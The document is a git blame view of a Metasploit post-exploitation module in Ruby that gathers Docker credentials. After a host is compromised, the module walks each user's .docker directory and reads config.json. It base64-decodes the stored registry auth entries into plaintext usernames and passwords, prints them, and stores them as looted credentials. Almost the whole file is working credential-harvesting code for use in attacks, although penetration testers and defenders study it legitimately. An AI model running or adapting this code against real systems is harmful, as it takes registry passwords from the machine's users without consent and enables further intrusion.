Files
metasploit-gs/modules/post/multi/gather/docker_creds.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

96 lines
2.5 KiB
Ruby
Raw Normal View History

2017-07-26 15:14:16 +02:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multi Gather Docker Credentials Collection',
'Description' => %q{
2017-07-26 15:14:16 +02:00
This module will collect the contents of all users' .docker directories on the targeted
machine. If the user has already push to docker hub, chances are that the password was
saved in base64 (default behavior).
2023-02-08 13:47:34 +00:00
},
'License' => MSF_LICENSE,
'Author' => ['Flibustier'],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => ['shell']
)
)
2017-07-26 15:14:16 +02:00
end
# This module is largely based on gpg_creds.rb.
def run
2023-02-08 13:47:34 +00:00
print_status('Finding .docker directories')
paths = enum_user_directories.map { |d| d + '/.docker' }
2017-07-26 15:14:16 +02:00
# Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) }
2017-07-28 10:16:59 +02:00
if paths.nil? || paths.empty?
2023-02-08 13:47:34 +00:00
print_error('No users found with a .docker directory')
2017-07-26 15:14:16 +02:00
return
end
download_loot(paths)
end
def download_loot(paths)
print_status("Looting #{paths.count} directories")
paths.each do |path|
path.chomp!
2023-02-08 13:47:34 +00:00
file = 'config.json'
2017-07-26 15:14:16 +02:00
target = "#{path}/#{file}"
2017-07-28 10:16:59 +02:00
if file? target
2017-07-26 15:14:16 +02:00
print_status("Downloading #{target} -> #{file}")
extract(target)
end
end
end
def extract(target)
file = read_file(target)
parsed = JSON.parse(file)
2023-02-08 13:47:34 +00:00
if parsed['auths']
parsed['auths'].each do |key, value|
vprint_status("key: #{key}")
2023-02-08 13:47:34 +00:00
value.each do |k, v|
next unless k == 'auth'
2017-08-02 15:03:36 +02:00
2023-02-08 13:47:34 +00:00
plain = Rex::Text.decode_base64(v)
next unless plain.include? ':'
2023-02-08 13:47:34 +00:00
print_good("Found #{plain}")
username, password = plain.split(':')
credential_data = {
origin_type: :import,
module_fullname: fullname,
filename: target,
workspace_id: myworkspace_id,
service_name: 'docker',
realm_value: key,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
print_good('Saved credentials')
end
2017-08-02 15:03:36 +02:00
end
2017-07-26 15:14:16 +02:00
else
2023-02-08 13:47:34 +00:00
print_status('No credentials found in config file')
2017-07-26 15:14:16 +02:00
end
end
end